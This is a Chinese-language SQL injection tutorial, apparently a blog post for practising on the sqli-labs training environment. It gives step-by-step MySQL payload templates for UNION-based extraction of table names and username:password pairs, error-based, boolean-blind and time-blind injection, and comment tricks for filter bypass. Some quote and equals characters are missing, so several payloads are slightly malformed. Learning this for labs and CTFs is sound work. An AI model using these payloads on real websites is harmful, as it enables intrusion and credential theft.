ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

SQL注入基础(1)

SQL注入基础(1) 国庆结束后会不会有人看啊~附有清楚一点的思维导图内容不是很全面。sql-labs搭建sqli-labs 靶场环境搭建与使用教程-CSDN博客这是个练习平台动手操作是理解的最快途径。一、需要了解的语法等1.数据库数据库通常分为两大类1关系型数据库RDBMS—— 用 SQL它们用表格存数据表与表之间有关系。常见的有MySQLCTF 和 Web 渗透中最常见MariaDBPostgreSQLSQL Server微软OracleSQLite小型、嵌入式SQL 注入主要发生在这类数据库上。2非关系型数据库NoSQL—— 不一定用 SQL它们不用传统表格适合海量、灵活的数据。常见的有键值型Redis、Memcached文档型MongoDB、CouchDB列族型HBase、Cassandra图数据库Neo4j时序数据库InfluxDB搜索型Elasticsearch这些数据库也有自己的“注入”问题叫NoSQL 注入但原理和SQL注入不同这里我们讲mysql。本人学的少还没有见到过不过之前学的时候学长好像提了一嘴MongoDB。2.1SHOWMySQL专属且输出格式不支持联合查询show可以列出MySQL服务器上全部数据库名/当前正在使用的数据库里面所有表/一张表所有字段结构/... 可以帮助我们理解数据库的结构。数据库Database└── 表Table├── 列 / 字段Column└── 行 / 记录Rowshow和后面select的功能有相似之处。show 语句等价 select 查询 information_schemaSHOW DATABASES;SELECT SCHEMA_NAME FROM information_schema.SCHEMATA;SHOW TABLES FROM test;SELECT TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMAtest;SHOW COLUMNS FROM user;SELECT COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMAtest AND TABLE_NAMEuser;(2)SELECTSHOW是MySQL特有的管理命令用来快速查看库、表、字段等元信息SELECT是标准SQL查询语句用来从表中灵活检索、筛选和计算数据。SELECT 就是从哪张表FROM按什么条件WHERE查哪些字段SELECT怎么分组排序GROUP BY / ORDER BY最后取几条LIMIT。一、SELECT 完整语法SELECT [DISTINCT] 字段1, 字段2, ... FROM 表名 WHERE 条件 GROUP BY 字段 HAVING 条件 ORDER BY 字段 [ASC|DESC] LIMIT 起始位置, 条数;执行顺序很重要注入时理解逻辑用FROM → WHERE → GROUP BY → HAVING → SELECT → ORDER BY → LIMIT二、最简单的查询SELECT * FROM users; SELECT username, password FROM users; SELECT username AS u, password AS p FROM users;二、SQL 注入最常用的一套模板1. 判断注入点?id1 ?id1 AND 11 -- ?id1 AND 12 --2. 判断列数?id1 ORDER BY 3 --3. 找显示位?id-1 UNION SELECT 1,2,3 --4. 查当前库名?id-1 UNION SELECT 1,database(),3 --5. 查表名?id-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schemadatabase() --6. 查列名?id-1 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_nameusers --7. 拿数据?id-1 UNION SELECT 1,group_concat(username,0x3a,password),3 FROM users --0x3a是冒号:用来分隔用户名和密码。下面简单写几种不同的注入类型。1按数字/字符分类SQL 注入按参数类型可分为数字型和字符型两类它们的核心区别在于数字型参数直接参与数值运算不需要闭合引号字符型参数被包裹在引号中需要先闭合引号才能拼接注入语句。判断类型判断方法很简单在参数后加一个单引号如果报错说明是字符型如果正常返回说明是数字型。?id1 报错 → 字符型 ?id1 AND 11 正常 → 数字型数字型数字型注入不需要闭合引号直接在参数后拼接 UNION 查询即可?id-1 UNION SELECT 1,2,3 -- ?id-1 UNION SELECT 1,database(),3 -- ?id-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schemadatabase() -- ?id-1 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_nameusers -- ?id-1 UNION SELECT 1,group_concat(username,0x3a,password),3 FROM users --字符型字符型注入需要先用单引号闭合前面的引号再拼接 UNION 查询?id-1 UNION SELECT 1,2,3 -- ?id-1 UNION SELECT 1,database(),3 -- ?id-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schemadatabase() -- ?id-1 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_nameusers -- ?id-1 UNION SELECT 1,group_concat(username,0x3a,password),3 FROM users --注释符-- 或 #用来注释掉后面多余的引号或语句。记住数字型直接接字符型先闭合 。2按注入类型下面是几种常见的模板三、报错注入模板原理报错注入利用的是 MySQL 在执行某些函数如extractvalue、updatexml时如果传入的 XPath 表达式格式非法就会把错误信息连同表达式内容一起回显到页面上。我们正是利用这一点把子查询的结果拼进 XPath 表达式里让数据库把查询结果“报”出来。核心思路concat(0x7e, (SELECT database()), 0x7e)中0x7e是波浪号~用来让 XPath 表达式必然报错因为~不是合法 XPath 语法同时把database()的结果带进报错信息里。?id1 AND extractvalue(1, concat(0x7e, (SELECT database()), 0x7e)) -- ?id1 AND updatexml(1, concat(0x7e, (SELECT database()), 0x7e), 1) --进阶用法把database()换成任意子查询即可查表名、列名、数据例如?id1 AND extractvalue(1, concat(0x7e, (SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schemadatabase()), 0x7e)) --注意extractvalue和updatexml报错信息最长只能显示 32 个字符所以查多行数据时建议配合limit逐条取或用substr分段截取。四、布尔盲注模板原理布尔盲注利用页面返回的真/假差异来逐位推断数据。当页面不回显查询结果、也不报错时我们只能通过AND 11页面正常和AND 12页面异常来判断条件是否成立从而一位一位地猜出数据库名、表名、列名和数据。核心思路用substr()截取目标字符串的某一位再用ascii()转成 ASCII 码最后与一个数字比较。条件成立页面正常不成立页面异常据此二分逼近真实字符。?id1 AND ascii(substr(database(),1,1))100 --逐位猜解把substr(database(),1,1)中的1,1换成2,1、3,1……即可依次猜出第 2、3 位字符。配合二分法先判断是否大于某个中间值可以显著减少请求次数。进阶用法把database()换成任意子查询即可猜表名、列名、数据例如?id1 AND ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_schemadatabase() LIMIT 0,1),1,1))100 --注意布尔盲注每次只能确认 1 个 bit速度较慢通常配合脚本如 sqlmap自动化完成手工注入时建议用二分法减少请求次数。五、时间盲注模板原理时间盲注利用的是页面响应时间的差异来推断数据。当页面既不回显查询结果、也不报错时我们无法通过页面内容判断真假只能通过sleep()函数人为制造延迟条件成立就延迟几秒条件不成立就立即返回据此一位一位地猜出数据。核心思路用if()判断条件条件成立时执行sleep(3)延迟 3 秒不成立则返回 0 不延迟。配合substr()和ascii()逐位截取、比较即可推断出目标字符串的每一位。?id1 AND if(ascii(substr(database(),1,1))100, sleep(3), 0) --逐位猜解把substr(database(),1,1)中的1,1换成2,1、3,1……即可依次猜出第 2、3 位字符。同样配合二分法可以显著减少请求次数。进阶用法把database()换成任意子查询即可猜表名、列名、数据例如?id1 AND if(ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_schemadatabase() LIMIT 0,1),1,1))100, sleep(3), 0) --注意时间盲注每次判断都要等待几秒速度比布尔盲注更慢通常配合脚本如 sqlmap自动化完成手工注入时建议用二分法减少请求次数。六、常用函数database() 当前数据库名 version() 数据库版本 user() 当前用户 group_concat() 把多行结果拼成一行 concat() 拼接字符串 substr(str,1,1) 截取字符 ascii() 转 ASCII 码 sleep(3) 延迟 3 秒七、注释符在 SQL 注入中注释符的作用是注释掉拼接语句后面多余的引号、括号或 SQL 片段让注入语句能完整、合法地执行。下面介绍 MySQL 中几种常用的注释符及其使用场景。-- URL 里常用 代表空格 # MySQL 注释 /**/ 内联注释可绕过空格过滤1.--双横线加号这是 URL 中最常用的注释符。在 MySQL 中--双横线加一个空格是标准注释语法但 URL 里的空格会被浏览器或服务器处理掉所以用代替空格写成--。它会把后面多余的引号、括号或整段 SQL 全部注释掉。?id1 AND 11 -- ?id-1 UNION SELECT 1,2,3 --2.#井号#是 MySQL 特有的单行注释符作用与--相同会把从#开始到行尾的内容全部注释掉。它不需要额外加空格在 URL 中直接使用即可不过要注意#在 URL 中有时需要编码为%23。?id1 AND 11 # ?id-1 UNION SELECT 1,2,3 #3./**/内联注释/**/是标准 SQL 的多行注释符MySQL 也支持。它除了可以注释掉多余内容外还有一个特殊用途绕过空格过滤。当 WAF 或程序过滤了空格时可以用/**/代替空格来拼接语句。?id1/**/AND/**/11/**/-- ?id-1/**/UNION/**/SELECT/**/1,2,3/**/--4. 其他变体除了上面三种还有--双横线加真实空格在非 URL 场景如命令行或 POST 请求体中使用、;%00用空字节截断后续语句部分场景有效等。实际注入时要根据请求方式GET/POST、过滤规则和数据库类型灵活选择。小结--和#用于注释掉多余内容/**/既能注释也能代替空格绕过过滤。掌握它们的区别在写注入 payload 时会更加得心应手。三、防范与绕过有了防火墙其实大多数都能防住但是还是经常被交的一个漏洞因为还要考虑绕过。在某漏洞提交平台截的某单位的图至于绕过也是sql注入里非常非常重要的一部分ctf只要不是签到题都会考绕过。这里因为常见漏洞绕过手段总结-CSDN博客写过就不赘述了。
返回列表